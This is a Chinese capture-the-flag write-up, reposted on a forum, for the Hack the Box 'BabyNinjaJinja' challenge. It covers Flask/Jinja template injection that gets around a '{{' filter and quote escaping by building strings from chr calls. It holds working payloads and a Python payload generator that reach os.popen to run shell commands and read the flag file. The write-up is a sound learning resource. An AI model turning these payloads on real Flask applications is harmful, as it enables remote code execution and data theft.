搜索

[15912] 2020-10-01_HacktheBox：BabyNinjaJinja解题经历

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-10-01_HacktheBox：BabyNinjaJinja解题经历 H a c k   t h e   B o x ： B a b y   N i n j a   J i n j a 解 题 经 历 会 飞 的 致 君   F r e e B u f   2 0 2 0 - 1 0 - 0 1 0 x 0 0 又 到 快 乐 节 假 日 ， 有 足 够 的 时 间 来 玩 玩   h t b   了 。 话 不 多 说 ， 走 起 ！ 0 x 0 1   拿 到 源 码 拿 到 源 码 开 始 访 问 页 面 ， 是 一 段 奇 怪 的 介 绍 ， 然 后 一 个 输 入 框 先 随 便 输 入 个 什 么 试 试 ， 发 现 输 入 ” 的 时 候 ， 出 现 了   f l a s k   的 报 错   d e b u g   页 面 ， 看 起 来 是 存 在 注 入 的 。
在 仔 细 审 计 下 返 回 的   h t m l ， 又 发 现 了 奇 怪 的 东 西 ， 感 觉   h t b   出 题 目 的 人 都 喜 欢 把 因 此 的 接 口 放 在 注 释 里 。 访 问 下 / d e b u g ， 嘿 ， 这 太 眼 熟 了 ， f l a s k 。 这 个 套 路 和 之 前   r i c k   那 个 好 像 是 一 样 的 ， 于 是 我 看 了 下 两 道 题 的 作 者 ， 果 然 是 同 一 个 人 。 0 x 0 2   审 计 审 计 拿 到 源 码 就 开 始 审 计 ， 一 共 有 两 个 路 由 ， / 和 / d e b u g ， / 接 受 一 个   n a m e   参 数 。 开 始 的 注 入 点 就 发 生 在 拼 接 插 入   s q l   的 时 候 。 然 后 再 仔 细 阅 读 代 码 发 现 ， 好 像 这 个 注 入 并 不 怎 么 关 键 ， 这 里 有 模 板 有   { { 的 过 滤 ， 那 应 该 是   s s t i   了 。 q u e r y _ d b ( ' I N S E R T   I N T O   n i n j a s   ( n a m e )   V A L U E S   ( " % s " ) '   %   n a m e )
代 码 的 逻 辑 就 是 传 入   n a m e = > 入 库 = > 从 数 据 库 中 读 取   n a m e   还 有 当 前 总 数 据 量 = > 替 换 到 模 板 中 = > 通 过 r e n d e r _ t e m p l a t e _ s t r i n g   渲 染 。 那 关 键 就 在 于 控 制 输 入 ， 使 得 渲 染 的 时 候 发 生   s s t i 。 但 是 还 要 注 意 的 是 ， 这 里 在 从 数 据 库 读 数 据 出 来 的 时 候 ， 有 一 个 替 换 ， 也 就 是 过 滤 操 作 。 那   j i n j a   中 的   { { } }   就 不 能 使 用 了 。 0 x 0 3   寻 找 方 法 寻 找 方 法 看 了 些   s s t i   的 总 结 ， 对 于 过 滤 表 达 式   { {   } }   的 ， 可 以 使 用 控 制 结 构   { %   % }   来 代 替 。 在 控 制 结 构   { %   % }   中 ， 可 以 使 用 赋 值 操 作 。 通 过 这 个 就 可 以 使 用 基 类 查 找 子 类 的 形 式 拿 到 想 要 的 方 法 来 执 行 。 0 x 0 4   解 决 问 题 解 决 问 题 鉴 于 上 次 题 目 没 有 用   f l a s k   的 特 性 而 是 走 了 盲 注 这 种 更 慢 的 方 法 ， 先 试 试   f l a s k   的   s e s s i o n 。 题 目 的 源 码 里 有 一 个 判 断 是 不 是   l e a d e r   的 ， 如 果 是 的 话 就 返 回 ， 那 直 接 要 在 渲 染 的 时 候 通 过   s s t i   把 这 个   s e s s i o n   的 值 加 上 就 好 了 。 但 是 在 构 造   p a y l o a d   的 时 候 发 现 ， 如 果 要 调 用 b u i l t i n s 的 i m p o r t ， 好 像 绕 不 开 用 单 双 引 号 。 这 里 我 想 到 了 用 内 置 的   c h r 函 数 。 通 过   c h r   函 数 然 后 用 加 号 拼 接 字 符 。 比 如 要 拿 到 b u i l t i n s 的 话 ， 就 可 以 这 样 就 可 以 绕 过 引 号 了 。 但 是 发 现 这 样 服 务 端 会 报 错   U n d e f i n e d E r r o r :   ‘ c h r ’   i s   u n d e f i n e d ， 显 然   c h r   函 数 不 能 直 接 用 ， 他 还 在   b u i l t i n s   里 面 ， 今 年 一 番 搜 索 ， 我 找 到 了 获 取   c h r   的 方 法 。 这 样 一 来 就 可 以 正 常 使 用 了 。 接 下 来 就 是 修 改   s e s s i o n ， 既 然 要 修 改   s e s s i o n ， 那 就 要 导 入   f l a s k 。 拿 到   f l a s k   对 象 之 后 ， 就 可 以 通 过   s e s s i o n   的   s e t d e f a u l t   方 法 来 修 改 他 d b . t e x t _ f a c t o r y   =   ( l a m b d a   s :   s . r e p l a c e ( ' { { ' ,   ' ' ) . r e p l a c e ( " ' " ,   ' & # x 2 7 ; ' ) . r e p l a c e ( ' " ' ,   ' & q u o t ; ' ) . r e p l a c e ( ' < ' ,   ' & l t ; ' ) . r e p l a c e ( ' > ' ,   ' & g t ; ' ) ) i f   s e s s i o n . g e t ( ' l e a d e r ' ) : r e t u r n   r e p o r t { %   s e t   b u i l t i n = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] % } { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } d e f   g e t _ c h r ( s ) : r e s   =   [ ] f o r   i   i n   s : r e s . a p p e n d ( ' c h r ( { } ) ' . f o r m a t ( o r d ( i ) ) ) r e t u r n   " % 2 b " . j o i n ( r e s ) f ' { { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " f l a s k " ) } )   % } } '     #   这 里 为 了 方 便 写   p a y l o a d   写 了 个 函 数 （ 斜 杠 是 因 为 没 斜 杠 我 的 博 客 会 编 译 失 败 ？ ）
这 样 就 成 功 通 过 修 改   s e s s i o n   让 服 务 端 返 回 了   r e s p o r t   的 内 容 ， 但 是 我 发 现 好 像 并 没 有 什 么 作 用 但 是 起 码 证 明 上 次 的 修 改   s e s s i o n   我 学 到 了 ~ 要 怎 么 才 能 让 服 务 端 返 回 内 容 到 客 户 端 ， 不 想 再 写 盲 注 代 码 了 。 我 的 思 路 是 让   f l a s k   在 模 板 渲 染 的 时 候 就 结 束 并 返 回 ， 这 样 应 该 可 以 自 定 义 内 容 ， 但 是   f l a s k   返 回 到 客 户 端 的 数 据 都 是 靠   r e t u r n   的 ， 怎 么 才 能 不 用   r e t u r n   呢 。 我 想 到   f l a s k   有 一 个   a b o r t   方 法 ， 调 用   f l a s k . a b o r t   之 后 他 就 直 接 结 束 请 求 并 返 回 数 据 到 客 户 端 了 。 另 外 我 看 到 源 码 里 面 有 个 例 子   a b o r t ( R e s p o n s e ( ‘ H e l l o   W o r l d ’ ) ) ， 通 过 使 用   f l a s k . R e s p o n s e   对 象 就 可 以 传 递 内 容 ， 这 不 就 是 我 想 要 的 嘛 。 构 造 结 合 前 面 拿 到 的   f l a s k   对 象 ， 拼 接 上 下 面 的 代 码 。 成 功 控 制 返 回 结 果 了 。 那 在 配 上   p o p e n   就 可 以 执 行 命 令 了 。 s e t   一 个   o s   对 象 ， 执 行   l s   命 令 f ' { { %   s e t   a = f l a s k . s e s s i o n . s e t d e f a u l t ( { g e t _ c h r ( " l e a d e r " ) } ,   g e t c h r ( " t t t t " ) )   % } } ' f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( { g e t _ c h a r ( " t e s t " ) } ) )   % } } ' f ' { { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } )   % } } ' f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( { g e t _ c h r ( " l s " ) } ) . r e a d ( ) ) )   % } } '
成 功 执 行 了   l s   命 令 并 返 回 结 果 到 浏 览 器 。 最 后 的 生 成   p a y l o a d   的 代 码 为 生 成   p a y l o a d   的 为 成 功 拿 到   f l a g ， 通 关 ~ 精 彩 推 荐 精 彩 推 荐 d e f   g e t _ c h r ( s ) : r e s   =   [ ] f o r   i   i n   s : r e s . a p p e n d ( ' c h r ( { } ) ' . f o r m a t ( o r d ( i ) ) ) r e t u r n   " % 2 b " . j o i n ( r e s ) d e f   g e t _ p a y l o a d ( ) : #   p a y l o a d   =   f ' { { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } } { { %   i f   ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } ) . o p e n ( { g e t _ c h r ( " t e m p l a t e s / i n d e x . h t m l " ) } ,   { g e t _ c h r ( " a + " ) } ) . w r i t e ( { g e t _ c h r ( " t t t t t t " ) } )   % } } 1 1 { { %   e n d i f   % } } ' d e f i n e _ c h r   =   f " { { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } } " d e f i n e _ f l a s k   =   f ' { { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " f l a s k " ) } )   % } } ' d e f i n e _ o s   =   f ' { { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ { g e t _ c h r ( " _ _ b u i l t i n s _ _ " ) } ] [ { g e t _ c h r ( " _ _ i m p o r t _ _ " ) } ] ( { g e t _ c h r ( " o s " ) } )   % } } ' p a y l o a d   =   f ' { { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( { g e t _ c h r ( " c a t   f l a g _ P 5 4 e d " ) } ) . r e a d ( ) ) )   % } } ' p a y l o a d   =   d e f i n e _ c h r   +   d e f i n e _ f l a s k   +   d e f i n e _ o s   +   p a y l o a d r e t u r n   p a y l o a d { %   s e t   c h r = ( ) . _ _ c l a s s _ _ . _ _ b a s e s _ _ . _ _ g e t i t e m _ _ ( 0 ) . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ . _ _ b u i l t i n s _ _ . c h r   % } { %   s e t   f l a s k = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 9 ) % 2 b c h r ( 1 1 2 ) % 2 b c h r ( 1 1 1 ) % 2 b c h r ( 1 1 4 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] ( c h r ( 1 0 2 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 1 0 7 ) )   % } { %   s e t   o s = ( ) . _ _ c l a s s _ _ . _ _ b a s e _ _ . _ _ s u b c l a s s e s _ _ ( ) [ 5 9 ] . _ _ i n i t _ _ . _ _ g l o b a l s _ _ [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 8 ) % 2 b c h r ( 1 1 7 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 1 0 ) % 2 b c h r ( 1 1 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] [ c h r ( 9 5 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 1 0 5 ) % 2 b c h r ( 1 0 9 ) % 2 b c h r ( 1 1 2 ) % 2 b c h r ( 1 1 1 ) % 2 b c h r ( 1 1 4 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 9 5 ) ] ( c h r ( 1 1 1 ) % 2 b c h r ( 1 1 5 ) )   % } { %   s e t   a = f l a s k . a b o r t ( f l a s k . R e s p o n s e ( o s . p o p e n ( c h r ( 9 9 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 1 6 ) % 2 b c h r ( 3 2 ) % 2 b c h r ( 1 0 2 ) % 2 b c h r ( 1 0 8 ) % 2 b c h r ( 9 7 ) % 2 b c h r ( 1 0 3 ) % 2 b c h r ( 9 5 ) % 2 b c h r ( 8 0 ) % 2 b c h r ( 5 3 ) % 2 b c h r ( 5 2 ) % 2 b c h r ( 1 0 1 ) % 2 b c h r ( 1 0 0 ) ) . r e a d ( ) ) ) % }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理